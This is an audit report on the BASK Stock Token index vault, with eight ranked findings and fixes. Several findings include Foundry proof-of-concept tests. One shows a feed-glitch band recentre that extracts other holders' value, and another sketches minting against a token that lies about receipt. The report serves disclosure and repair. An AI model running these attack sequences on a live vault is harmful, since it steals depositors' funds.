# Audit report

> Basket (BASK) is an immutable index vault for Stock Tokens on Robinhood Chain (chain id 4663), deployed at 0xd77a5f93f9d85e6990f389147713a9ad8ce5764c with nothing listed yet. A user deposits one listed Stock Token, priced by its Chainlink feed, and receives BASK; redeem burns BASK for a pro-rata share of every listed token. One owner and one guardian; owner changes wait 7 days and the guardian can veto. Trusted: the owner pairs each token with its true feed. The issuer can pause, block, burn or upgrade the Stock Tokens. This is the third build. Kept from the second: the owner can retire a closed asset by proposal (closed for good, skipped by every deposit check, 0 in NAV, still paid out by redeem), and lowering NAV_CAP cancels pending raises. New in this build: there is no per-asset limit, probation or listedAt; a retired asset voids its pending and new proposals; a feed may be used by another asset once its asset is retired, but never by two unretired assets; each feed read and oraclePaused() call gets 100,000 gas; claim refuses the zero address; ownership can never go to the guardian.
>
> Look hardest at:
>
> 1. Redeem and claim can never be blocked or made to revert: not by the owner or guardian, a paused, blacklisted, reverting, gas-burning or lying Stock Token, a stale or wrong feed, retirement, the deposit hours, the NAV cap or the daily limit. Check the 250,000-gas leg self-call, the 50,000-gas balance reads, the owed and totalOwed accounting, and the 64-asset gas bound.
>
> 2. Nobody can move assets out of the vault except redeem and claim paying the user, and nobody can mint BASK except through deposit (plus the fee shares and the 1e15 dead shares on the first deposit). Look for any path through proposals, executeProposal, closeAsset, proposeRetire, recognizeLoss, setFeeRecipient, finalizeGenesis or reentrancy.
>
> 3. Retire: does close plus retire always unblock deposits when a held asset's token reports oraclePaused, its balance is unreadable or its feed dies; can retire take value beyond the stated dilution (new depositors share the retired asset), block redeem, or skip the 7-day wait or the guardian veto; is a retired asset's loss record kept through deposits.
>
> 4. Deposit pricing and share math: rounding direction, first-deposit and donation attacks, BaskMath, the 0.5% entry and exit fees, managed versus balance, and flagDeficit and recognizeLoss after an issuer burn. The build uses via_ir: check the inline assembly's memory handling.
>
> 5. Whether the deposit gate, the daily bucket or the NAV cap can be bypassed, and whether a raise proposed before a lowering can still execute.
>
> 6. The new fixes: can a voided proposal still execute, or can a Guardian or NAV cap proposal be wrongly voided; can two unretired assets ever share a feed, through listing or feed replacement; can a gas-burning feed or token still block deposit, depositStatus, previewDeposit or allAssets; can the guardian become owner by any sequence.
>
> Accepted by the owner, report only if worse than stated here: no per-asset limit (one stock may be any share of NAV); deposit-then-redeem profit when a feed lags more than the 1% round trip; tokens the issuer returns or credits by raising balances stay outside managed; an unreadable balance during a shortfall books the leg from managed and claims are paid first come, first served; a complete loss, or retiring every held asset, leaves NAV at 0 and deposits stop; the daily bucket counts deposits, not redemptions; setFeeRecipient (once) and the two-step ownership handover take effect at once; listing does not test oraclePaused; a token upgraded to debit more than the amount strands its claims; the guardian's veto is at most a 14-day delay (it cannot cancel its own replacement); a retired asset's slot is never freed; BASK sent to the vault's own address is lost.

| | |
|---|---|
| Repository | https://github.com/identity-md-launches/launch-929-basket.git |
| Commit | `b12f8ecdaac0acc13e47646441b4f312a2aab160` |
| Job | `e4f39f26-2e5b-4bd8-ace4-02ba9d70a010` |
| Judged | 2026-10-07 20:08 UTC |
| Findings | 2 medium · 3 low · 3 info |

Four agents audited the code as it is at `b12f8ec`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. Medium: A ready Band proposal lets anyone lock a transient out-of-band feed answer in as the band and monetize it in one transaction

`src/BaskVault.sol:405`

```
            (a.minAnswer, a.maxAnswer) = _band(uint256(answer));
```

The price band (answer/4 .. answer*4) is the only defence against a feed that reports a grossly wrong price: _priceStatus returns OutsideBand and deposits in that asset stop. executeProposal is permissionless and, for Kind.Band, only requires the execution-time answer to be positive and under 26 hours old; it then sets the band to answer/4 .. answer*4 with no relation to the band being replaced or to the answer observed when the proposal was created. For the 7 days a Band proposal is Ready, the band defence is therefore disabled at a moment of an outsider's choosing: if the feed returns an anomalous round (e.g. 10x) that the existing band would have refused, the attacker executes the proposal in that block, the band becomes 2.5x .. 40x, deposits the mispriced stock and redeems pro rata of every other holding in the same transaction. Feed replacement and listing are bounded (replacement must be inside the existing band); Band is the only proposal that re-anchors pricing without limit. The README's bundling warning (pause deposits before a proposal becomes ready) names only feed replacement, and a band recentre does not look like a repricing to an operator. This is not the accepted lagging-feed case: the loss comes from a transient wrong answer the band was designed to refuse, combined with a routine owner proposal. Fix preserving the recentering design: record the proposal-time answer in Proposal.value at proposeBand (require it positive and fresh) and at execution require the execution answer to lie within _band(p.value) before adopting it, so a Band proposal can never widen the acceptable range by more than the existing band already permits; alternatively restrict Kind.Band execution to the owner. Note the residual: a glitch inside the existing 4x band is already accepted by deposit without any proposal, which is the feed-trust assumption.

**Reproduction**

Assets A, B, C listed at $100 (bands $25..$400); Alice holds 100 B and 100 C ($20,000). Owner calls proposeBand(A); 7 days pass; feeds refreshed. A's feed reports 1000e8 for one round. depositStatus(A) == OutsideBand (13). Bob, in that block: executeProposal(bandId) succeeds, A's band becomes 250e8..4000e8 and depositStatus(A) == Ok; deposit(A, 20e18) is valued at $20,000 against NAV $20,000 and Bob receives ~49.75% of supply; redeem(all) pays 9.925 A, 49.625 B, 49.625 C. Expected: the glitch deposit stays refused. Actual: Bob deposited $2,000 of true value and withdrew $10,917.57 (legs*100 = 10917568922305764411000 vs 2000e18). Reproduced with the attached proof: forge test --match-path test/scratch/P2.t.sol fails with 'attacker extracted other holders' value via band recentering: 10917568922305764411000 > 2000000000000000000000'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {BaskVault} from "src/BaskVault.sol";

contract ProofFactory {
    mapping(bytes32 => address) public tokenAddress;

    function set(bytes32 uid, address token) external {
        tokenAddress[uid] = token;
    }
}

contract ProofFeed {
    uint8 public decimals = 8;
    address public aggregator = address(1);
    int256 public answer = 100e8;
    uint256 public updatedAt;

    constructor() {
        updatedAt = block.timestamp;
    }

    function set(int256 price, uint256 timestamp) external {
        answer = price;
        updatedAt = timestamp;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        return (1, answer, updatedAt, updatedAt, 1);
    }
}

contract ProofStock {
    uint8 public decimals = 18;
    bytes32 public uid;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(bytes32 uid_) {
        uid = uid_;
    }

    function oraclePaused() external pure returns (bool) {
        return false;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// A ready Band proposal lets any caller lock a transient out-of-band feed answer in as the new
/// band, then deposit the mispriced stock and redeem pro rata of every other holding in the same
/// transaction. Fails on the current code (attacker extracts more true value than deposited);
/// passes once band recentering is bounded or restricted so the glitch deposit stays refused.
contract BandGlitchProofTest is Test {
    address internal constant OWNER = 0x30B57ECf51D19ABcED7F6f70974e6fBb6f3b9Da3;
    address internal constant GUARDIAN = 0x5ed39AF86f2C00ad99913B5d727bD68f2A904B68;
    address internal constant ALICE = address(0xA11CE);
    address internal constant BOB = address(0xB0B);
    address internal constant FACTORY = 0x4783C67b63dE2B358Ac5951a7D41F47A38F3C046;
    uint256 internal constant MONDAY = 20003 days + 55800; // Monday 15:30 UTC
    BaskVault internal vault;
    ProofStock[3] internal stocks;
    ProofFeed[3] internal feeds;

    function setUp() public {
        vm.chainId(4663);
        vm.warp(MONDAY - 3 days);
        ProofFactory factory = new ProofFactory();
        vm.etch(FACTORY, address(factory).code);
        vault = new BaskVault(OWNER, GUARDIAN);
        for (uint256 i; i < 3; ++i) {
            stocks[i] = new ProofStock(bytes32(i + 1));
            feeds[i] = new ProofFeed();
            ProofFactory(FACTORY).set(bytes32(i + 1), address(stocks[i]));
            vm.prank(OWNER);
            vault.proposeAsset(address(stocks[i]), address(feeds[i]));
        }
        vm.prank(OWNER);
        vault.finalizeGenesis();
        vm.warp(MONDAY);
        _refresh();
    }

    function _refresh() internal {
        for (uint256 i; i < 3; ++i) {
            feeds[i].set(100e8, block.timestamp);
        }
    }

    function _deposit(uint256 i, uint256 amount, address who) internal returns (uint256) {
        stocks[i].mint(who, amount);
        vm.startPrank(who);
        stocks[i].approve(address(vault), amount);
        uint256 shares = vault.deposit(address(stocks[i]), amount, who, 0, block.timestamp);
        vm.stopPrank();
        return shares;
    }

    function testReadyBandProposalCannotBeUsedToMonetizeTransientFeedGlitch() public {
        // Honest holder: $10,000 of B and $10,000 of C. All three stocks are truly worth $100.
        _deposit(1, 100e18, ALICE);
        _deposit(2, 100e18, ALICE);
        // Routine owner action: a band proposal for A, ready after 7 days.
        vm.prank(OWNER);
        uint256 band = vault.proposeBand(address(stocks[0]));
        vm.warp(block.timestamp + 7 days);
        _refresh();
        // Transient anomaly: A's feed reports $1,000 for one round (true price still $100).
        feeds[0].set(1000e8, block.timestamp);
        (BaskVault.Reason before,) = vault.depositStatus(address(stocks[0]));
        assertEq(uint256(before), uint256(BaskVault.Reason.OutsideBand), "band must refuse the glitch");

        // Attacker, in the glitch block: execute band, deposit A at $1,000, redeem everything.
        vm.startPrank(BOB);
        (bool executed,) = address(vault).call(abi.encodeCall(vault.executeProposal, (band)));
        vm.stopPrank();
        (BaskVault.Reason after_,) = vault.depositStatus(address(stocks[0]));
        if (!executed || after_ != BaskVault.Reason.Ok) return; // fixed: glitch deposit still refused

        uint256 amount = 20e18; // $2,000 true value, $20,000 at the glitch answer
        uint256 shares = _deposit(0, amount, BOB);
        vm.prank(BOB);
        uint256[] memory legs = vault.redeem(shares, new uint256[](0), block.timestamp);
        uint256 trueOut = (legs[0] + legs[1] + legs[2]) * 100;
        uint256 trueIn = amount * 100;
        assertLe(trueOut, trueIn, "attacker extracted other holders' value via band recentering");
    }
}
```

### 2. Medium: Retirement shrinks the fixed 3-feed freshness quorum: close plus retire does not unblock deposits, and at 64 slots the shutdown is permanent with positive NAV

`src/BaskVault.sol:793`

```
        if (fresh < 3) return _fail(s, Reason.TooFewFreshFeeds, address(0));
```

_snapshot requires at least three unretired feeds updated within four hours, but it skips every retired asset and retirement neither checks nor repairs quorum availability. The brief's stated recovery path for a held asset whose token or feed fails is close + retire. With the genesis minimum of three assets, retiring any one of them leaves two unretired feeds, so every deposit of every token fails TooFewFreshFeeds until a new listing is proposed, waits 7 days and takes the 24-hour listing slot: retire does not unblock deposits, it moves the block from the failing asset to the quorum. Worse, asset slots are permanent (MAX_ASSETS = 64, never freed, retired assets cannot be reopened). Once 62 of 64 slots are retired, only two feeds can ever count, proposeAsset reverts AssetLimit, and deposits are permanently disabled even though the two surviving assets are healthy and hold positive managed NAV. This is worse than the accepted zero-NAV shutdown (NAV is positive here) and the README only warns against retiring the last positive-NAV position. Redeem and claim remain available. Fix options, each a policy decision: require min(3, number of unretired assets) fresh feeds; or count fresh feeds of retired assets toward the quorum while still excluding them from NAV; or refuse to execute a Retire that would leave fewer than three unretired assets unless a listing is ready. Any of these keeps permanent slots and the 7-day delay and guardian veto on retirement.

**Reproduction**

Case 1 (temporary, genesis minimum): three assets listed, Alice deposits 10e18 of asset 0, owner closeAsset(asset 2) and proposeRetire(asset 2); after 7 days anyone executes. depositStatus(asset 0) returns TooFewFreshFeeds (10) with all feeds fresh and both remaining assets healthy (scratch test testRetireOneOfThreeBlocksDeposits). Case 2 (permanent): before finalizeGenesis list 64 registered 18-decimal tokens with unique $100 feeds; finalize; at Monday 15:30 UTC deposit 10e18 of token 0 and token 63; close tokens 0..61 and propose their retirement; wait 7 days and execute all 62. managed(token63) = 10e18 and NAV = $1,000; proposeAsset(token 65) reverts AssetLimit; depositStatus(token63) returns TooFewFreshFeeds (10). Expected: retiring the failed assets restores deposits on the healthy positive-NAV survivor. Actual: deposits can never resume. Attached proof test/scratch/P3.t.sol fails 'retirement must unblock deposits with positive NAV: 10 != 0'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {BaskVault} from "src/BaskVault.sol";

contract ReviewFactory {
    mapping(bytes32 => address) public tokenAddress;
    function set(bytes32 id, address token) external { tokenAddress[id] = token; }
}
contract ReviewFeed {
    uint8 public constant decimals = 8;
    address public constant aggregator = address(1);
    function latestRoundData() external view returns(uint80,int256,uint256,uint256,uint80) {
        return (1,100e8,block.timestamp,block.timestamp,1);
    }
}
contract ReviewStock {
    uint8 public constant decimals = 18;
    bytes32 public uid;
    bool public paused;
    bool public unreadable;
    mapping(address => uint256) public balances;
    mapping(address => mapping(address => uint256)) public allowance;
    constructor(bytes32 id) { uid = id; }
    function oraclePaused() external pure returns(bool) { return false; }
    function balanceOf(address who) external view returns(uint256) {
        require(!unreadable,"unreadable balance"); return balances[who];
    }
    function mint(address who,uint256 amount) external { balances[who] += amount; }
    function setPaused(bool value) external { paused=value; }
    function setUnreadable(bool value) external { unreadable=value; }
    function approve(address spender,uint256 amount) external returns(bool) {
        allowance[msg.sender][spender]=amount; return true;
    }
    function transferFrom(address from,address to,uint256 amount) external returns(bool) {
        allowance[from][msg.sender] -= amount; return _transfer(from,to,amount);
    }
    function transfer(address to,uint256 amount) external returns(bool) {
        return _transfer(msg.sender,to,amount);
    }
    function _transfer(address from,address to,uint256 amount) internal returns(bool) {
        require(!paused,"issuer pause"); balances[from]-=amount; balances[to]+=amount; return true;
    }
}
contract RetirementPermissionsReviewTest is Test {
    BaskVault vault;
    ReviewStock[] stocks;
    address constant GUARDIAN=address(0xBEEF);
    uint256 constant MONDAY=20003 days + 55800;
    function _setup(uint256 count) internal {
        vm.warp(MONDAY-3 days);
        vault=new BaskVault(address(this),GUARDIAN);
        ReviewFactory factory=new ReviewFactory();
        vm.etch(vault.STOCK_FACTORY(),address(factory).code);
        for(uint256 i;i<count;i++) {
            ReviewStock token=new ReviewStock(bytes32(i+1));
            stocks.push(token);
            ReviewFactory(vault.STOCK_FACTORY()).set(bytes32(i+1),address(token));
            vault.proposeAsset(address(token),address(new ReviewFeed()));
        }
        vault.finalizeGenesis();
        vm.warp(MONDAY);
    }
    function _deposit(uint256 index,uint256 amount) internal returns(uint256) {
        stocks[index].mint(address(this),amount);
        stocks[index].approve(address(vault),amount);
        return vault.deposit(address(stocks[index]),amount,address(this),0,block.timestamp);
    }
    function testRetirementMustRestoreDepositsWithPositiveNAVAtSlotLimit() public {
        _setup(64);
        _deposit(0,10e18);
        _deposit(63,10e18);
        uint256[] memory ids=new uint256[](62);
        for(uint256 i;i<62;i++) {
            vault.closeAsset(address(stocks[i]));
            ids[i]=vault.proposeRetire(address(stocks[i]));
        }
        // Retire closed assets legitimately, after the full delay and without a veto.
        vm.warp(MONDAY+7 days);
        for(uint256 i;i<62;i++) vault.executeProposal(ids[i]);
        assertGt(vault.managed(address(stocks[63])),0,"unretired NAV remains positive");
        assertEq(vault.assetCount(),64);
        ReviewStock extra=new ReviewStock(bytes32(uint256(65)));
        ReviewFeed extraFeed=new ReviewFeed();
        vm.expectRevert(BaskVault.AssetLimit.selector);
        vault.proposeAsset(address(extra),address(extraFeed));
        // Neither a ready listing nor time/fresh oracle updates can restore the quorum.
        (BaskVault.Reason reason,)=vault.depositStatus(address(stocks[63]));
        assertEq(uint256(reason),uint256(BaskVault.Reason.Ok),"retirement must unblock deposits with positive NAV");
    }
}
```

### 3. Low: Feed replacement and band recentre depend on each other: a held asset whose feed dies while its price sits outside the stored band can only be retired

`src/BaskVault.sol:508`

```
        if (answer < a.minAnswer || answer > a.maxAnswer) revert InvalidFeed(feed);
```

There are only two ways to change how an asset is priced. A Feed proposal requires the replacement feed's current answer to lie inside the asset's existing [minAnswer, maxAnswer] band at proposal and execution (_checkReplacement, line 508). A Band proposal reads the asset's CURRENT feed at execution and reverts unless it is readable, positive, non-future and under 26 hours old (lines 401-404). When the current feed is permanently dead (deprecated proxy, upgraded to revert, gas-burning) and the live price has moved more than 4x from the band centre (the band is set only from the listing-time answer, which _checkFeed accepts with no freshness check, or from a prior Band execution), both paths fail: Feed reverts InvalidFeed because the answer is out of band, Band reverts InvalidFeed because the old feed is unreadable. If the old address is still live at an obsolete price, Band executes but recentres to the obsolete price and the new feed is still out of band. While the asset has managed != 0 every deposit of every token fails with FeedUnreadable/StalePrice/OutsideBand for that asset. The only exits are close + retire (7 days; the position then counts 0 in NAV and is handed to later depositors unless deposits stay paused) or a three-week detour through an owner-controlled interim feed that reports an in-band price, which shows the band check does not bound the owner anyway. This is a forced retirement of a healthy position with a working replacement feed, not a chosen one. Fix preserving the 7-day delay and veto: when executing Kind.Feed, if the asset's current feed is unreadable or stale, accept the replacement and rebase the band from the replacement's fresh answer via _band(); or add a combined feed-and-band proposal kind.

**Reproduction**

Three assets at 100e8, genesis finalized, Alice deposits 10e18 of asset 0 (band [25e8, 400e8]). Asset 0's feed starts reverting; the true price is 500e8 on a fresh replacement feed. (1) owner.proposeFeed(asset0, fresh) reverts InvalidFeed(fresh) since 500e8 > 400e8. (2) owner.proposeBand(asset0) succeeds; after 7 days executeProposal reverts InvalidFeed(oldFeed). (3) depositStatus(asset1) == (FeedUnreadable, asset0). (4) If the old feed instead still answers 100e8, the Band executes and the band is [25e8, 400e8] again, and proposeFeed (asset0, fresh) still reverts. Expected: an owner-proposed, guardian-vetoable, delayed path to re-pair the asset with its true feed exists in every feed state. Actual: none; only retirement. Reproduced in scratch test testDeadFeedOutOfBandDeadlock (all four steps assert as stated on the current code).

### 4. Low: claim reverts on an issuer pause or unreadable balance instead of returning with the credit preserved

`src/BaskVault.sol:660`

```
        if (amount != 0) this.payLeg(token, to, amount);
```

The brief requires that claim can never be made to revert by a paused, blacklisted, reverting or lying Stock Token. claim reverts BalanceUnreadable when its initial balance read fails (line 655) and calls this.payLeg directly (line 660), so a transfer pause, a block on the vault or recipient, or a reverting transfer surfaces as TransferFailed and the whole claim reverts. The credit survives the rollback, so no value is lost and the creditor can retry once the token allows transfers; the README in fact documents 'Failed claims revert and preserve the credit'. This is reported as a mismatch between the brief's stated property and the implementation, with liveness/interface impact only: integrations that batch claims or rely on a non-reverting call get a revert. If the non-reverting property is wanted, return 0 and leave owed/totalOwed untouched when the balance read fails or the payout call fails (e.g. route claim through a gas-bounded _tryPay-style self-call with a generous limit), restoring the credit on failure. If the revert is intended, the brief's property should be restated.

**Reproduction**

Three assets at $100, genesis finalized, Monday 15:30 UTC after warm-up. Alice deposits 10e18 of stock A. The issuer pauses A's transfers. Alice redeems all her shares; redeem succeeds and books owed[Alice][A] > 0. Alice calls claim(A, Alice). Expected under the brief: call succeeds, returns 0, owed and totalOwed unchanged. Actual: reverts TransferFailed(A). With the pause lifted and A's balanceOf made to revert, claim reverts BalanceUnreadable(A). Attached proof test/scratch/P1.t.sol: both tests fail on the current code with 'issuer pause must not revert claim' and 'unreadable balance must not revert claim'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {BaskVault} from "src/BaskVault.sol";

contract ReviewFactory {
    mapping(bytes32 => address) public tokenAddress;
    function set(bytes32 id, address token) external { tokenAddress[id] = token; }
}
contract ReviewFeed {
    uint8 public constant decimals = 8;
    address public constant aggregator = address(1);
    function latestRoundData() external view returns(uint80,int256,uint256,uint256,uint80) {
        return (1,100e8,block.timestamp,block.timestamp,1);
    }
}
contract ReviewStock {
    uint8 public constant decimals = 18;
    bytes32 public uid;
    bool public paused;
    bool public unreadable;
    mapping(address => uint256) public balances;
    mapping(address => mapping(address => uint256)) public allowance;
    constructor(bytes32 id) { uid = id; }
    function oraclePaused() external pure returns(bool) { return false; }
    function balanceOf(address who) external view returns(uint256) {
        require(!unreadable,"unreadable balance"); return balances[who];
    }
    function mint(address who,uint256 amount) external { balances[who] += amount; }
    function setPaused(bool value) external { paused=value; }
    function setUnreadable(bool value) external { unreadable=value; }
    function approve(address spender,uint256 amount) external returns(bool) {
        allowance[msg.sender][spender]=amount; return true;
    }
    function transferFrom(address from,address to,uint256 amount) external returns(bool) {
        allowance[from][msg.sender] -= amount; return _transfer(from,to,amount);
    }
    function transfer(address to,uint256 amount) external returns(bool) {
        return _transfer(msg.sender,to,amount);
    }
    function _transfer(address from,address to,uint256 amount) internal returns(bool) {
        require(!paused,"issuer pause"); balances[from]-=amount; balances[to]+=amount; return true;
    }
}
contract ClaimPermissionsReviewTest is Test {
    BaskVault vault;
    ReviewStock[] stocks;
    address constant GUARDIAN=address(0xBEEF);
    uint256 constant MONDAY=20003 days + 55800;
    function _setup(uint256 count) internal {
        vm.warp(MONDAY-3 days);
        vault=new BaskVault(address(this),GUARDIAN);
        ReviewFactory factory=new ReviewFactory();
        vm.etch(vault.STOCK_FACTORY(),address(factory).code);
        for(uint256 i;i<count;i++) {
            ReviewStock token=new ReviewStock(bytes32(i+1));
            stocks.push(token);
            ReviewFactory(vault.STOCK_FACTORY()).set(bytes32(i+1),address(token));
            vault.proposeAsset(address(token),address(new ReviewFeed()));
        }
        vault.finalizeGenesis();
        vm.warp(MONDAY);
    }
    function _deposit(uint256 index,uint256 amount) internal returns(uint256) {
        stocks[index].mint(address(this),amount);
        stocks[index].approve(address(vault),amount);
        return vault.deposit(address(stocks[index]),amount,address(this),0,block.timestamp);
    }
    function testPausedClaimMustReturnWithoutReverting() public {
        _setup(3);
        uint256 shares=_deposit(0,10e18);
        stocks[0].setPaused(true);
        vault.redeem(shares,new uint256[](0),block.timestamp);
        uint256 credit=vault.owed(address(this),address(stocks[0]));
        assertGt(credit,0);
        (bool success,bytes memory data)=address(vault).call(abi.encodeCall(vault.claim,(address(stocks[0]),address(this))));
        assertTrue(success,"issuer pause must not revert claim");
        assertEq(abi.decode(data,(uint256)),0);
        assertEq(vault.owed(address(this),address(stocks[0])),credit);
        assertEq(vault.totalOwed(address(stocks[0])),credit);
    }
    function testUnreadableClaimMustReturnWithoutReverting() public {
        _setup(3);
        uint256 shares=_deposit(0,10e18);
        stocks[0].setPaused(true);
        vault.redeem(shares,new uint256[](0),block.timestamp);
        stocks[0].setPaused(false);
        stocks[0].setUnreadable(true);
        uint256 credit=vault.owed(address(this),address(stocks[0]));
        (bool success,)=address(vault).call(abi.encodeCall(vault.claim,(address(stocks[0]),address(this))));
        assertTrue(success,"unreadable balance must not revert claim");
        assertEq(vault.owed(address(this),address(stocks[0])),credit);
    }
}
```

### 5. Low: Each deposit restarts the bucket's linear decay from the full current bucket, so capacity never returns to zero while deposits continue and $23 of griefing removes about $13,600 of next-day capacity

`src/BaskVault.sol:589`

```
        return bucket - BaskMath.mulDiv(bucket, elapsed, 1 days);
```

decayedBucket subtracts bucket * elapsed / 1 day measured from bucketUpdatedAt, and deposit stores bucket = decayedBucket() + value with bucketUpdatedAt = block.timestamp (lines 539, 555-556). Because the subtraction is proportional to the bucket remaining at the LAST deposit and the clock restarts at every deposit, decay is linear only between deposits; across many deposits it becomes exponential (bucket * exp(-t/1 day)) and never reaches zero inside a day of activity. The README promises the bucket decays 'down to zero after a full day' with a bound of max(NAV2/4, $100,000) per day. With deposits spread across the 4-hour session the bucket at close is about 92% of the day's inflow and still holds about 15% of the limit at the next open, so effective daily capacity is about 85% of the stated bound. An unprivileged griefer exploits the restart: after a full bucket, 23 deposits of $1 spaced 10 minutes apart (fee $0.005 each, principal redeemable) keep $13,610 of capacity consumed at the next open instead of $0. Direction is conservative (less capacity, never more), so impact is denial of deposit capacity, not loss. Fix: make the drain rate independent of deposits, e.g. a fixed rate of limit / 1 day from a stored timestamp (bucket = bucket > rate*elapsed ? bucket - rate*elapsed : 0) or a true rolling window; the bound and deposits-not-redemptions semantics are unchanged.

**Reproduction**

Setup as test/BaskBase.t.sol (3 assets at $100, Monday 15:30 UTC). Case A: deposit 41.666666e18 units ($4,166.67) every 10 minutes, 24 deposits totalling $100,000 (the bucket limit). vault.bucket() after the last deposit = 92406164363730937618055; at the next day 15:30 decayedBucket() = 14759317919207024758440 instead of 0, so only about $85,241 can be deposited that day. Case B: Alice deposits 1000e18 ($100,000) at 15:30; Bob deposits 1e16 ($1) at 15:40, 15:50, ..., 19:20 (23 deposits). At the next day 15:30 decayedBucket() = 13610233929834400003971 versus 0 without Bob. Expected: a $23 inflow consumes $23 and the bucket is 0 after a full day. Actual as logged by scratch tests testBucketCarryOver and testBucketGriefing.

### 6. Info: proposalState reports a List proposal as Ready after its token was listed by a twin proposal, although execution can never succeed

`src/BaskVault.sol:433`

```
        if (index != 0 && assets[index - 1].retired) return ProposalState.Voided;
```

proposalState voids proposals whose asset is retired, Reopen proposals superseded by a later close, and NavCap proposals superseded by a lowering, but has no invalidation for a Kind.List proposal whose token has meanwhile been listed (assetIndexPlusOne[p.token] != 0 and not retired), nor for a Kind.Feed proposal whose target feed is now held by another unretired asset. Such proposals are reported Ready and returned by pendingProposals, yet executeProposal always reverts (InvalidAsset / InvalidFeed) until expiry. Operators and indexers see phantom pending work. No funds at risk. Fix: in proposalState return Voided when p.kind == Kind.List && assetIndexPlusOne[p.token] != 0, and optionally when p.kind == Kind.Feed and p.target is another unretired asset's feed.

**Reproduction**

After genesis the owner calls proposeAsset(T, F) twice -> ids a and b. After 7 days anyone executes a: T is listed. Expected: proposalState(b) is Voided. Actual: proposalState(b) == Ready (2); executeProposal(b) one day later reverts InvalidAsset(T). Scratch test testTwinListProposalReady asserts both.

### 7. Info: While no fee recipient is set (the deployed state) a dominant depositor's round trip costs 0.5%, not the 1% the brief gives as the lag-arbitrage threshold

`src/BaskVault.sol:566`

```
        if (feeRecipient != address(0)) _mint(feeRecipient, fee);
```

Before setFeeRecipient is called, the 0.5% deposit fee is deducted from the depositor's gross shares but not minted to anyone (line 566), so it accrues to all holders pro rata including the depositor, and the 0.5% redeem fee is burned (lines 602-603), again accruing to remaining holders. For a depositor who dominates NAV the effective round-trip cost approaches 0.5%, so the feed-lag threshold at which deposit-then-redeem is profitable is half the 1% stated in the brief. The README's accepted-design item 1 already states this precisely and recommends setting the fee recipient before deposits open; it is recorded here only because the brief's accepted threshold is the 1% figure and the vault at 0xd77a5f93f9d85e6990f389147713a9ad8ce5764c has no recipient set. Operational fix: set the fee recipient before deposits open.

**Reproduction**

Setup as test/BaskBase.t.sol, feeRecipient unset. Alice deposits 10e18 of asset 0 ($1,000). Bob deposits 900e18 of asset 1 ($90,000) and immediately redeems all shares at unchanged prices; the legs are worth about $89,545, a cost of 50 bps (scratch test testRoundTripUnsetFee logs 'cost bps 50'). Expected per brief: about 1%. Actual: 0.5%.

### 8. Info: Trust assumption: deposit's only evidence of receipt is the input token's own balanceOf delta, so a maliciously upgraded listed token can mint BASK against nothing

`src/BaskVault.sol:551`

```
        if (!ok || afterBalance < s.balance || afterBalance - s.balance != amount) {
```

Deposit verifies receipt by reading the token's balanceOf(vault) before and after transferFrom and requiring the delta to equal amount. A listed token whose implementation is upgraded so that transferFrom moves nothing while balanceOf(vault) reports an increase satisfies the check; the caller is minted BASK priced by the token's genuine feed and can redeem a pro-rata slice of every other asset at once, bounded per call by max(NAV/4, $100k) and by NAV_CAP. This is the ordinary trust an ERC-20 vault places in a listed issuer and is not a code defect against the stated design (the brief trusts the issuer's upgrade power only as something exits must survive). It is recorded so the assumption is explicit: an issuer-side malicious upgrade is a deposit-side risk as well as an exit-side one, and the operator's only tools are pauseDeposits and closeAsset, both immediate but both needed before the hostile deposit lands. No contract-level fix is proposed because the design has no second source of truth for balances.

**Reproduction**

Three assets; Alice holds asset 1 worth $100k in the vault. Replace asset 0's code (vm.etch) with a mock whose transferFrom returns true without moving tokens and whose balanceOf(vault) returns a stored 'reported' value that transferFrom increments by amount. Bob calls deposit(asset0, 1000e18, Bob, 0, now) during deposit hours at 100e8: _snapshot passes, transferFrom 'succeeds', afterBalance - s.balance == amount, Bob is minted ~50% of supply and redeems ~50% of asset 1 (about $50k) having delivered nothing. Expected per brief: BASK mints only against real deposits. Actual: mints against the token's self-reported balance.

---

Judge's submission `6d8f324a000ad11ec86941d846537edac138ae0064c9503b3ba791be05f05b3d`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
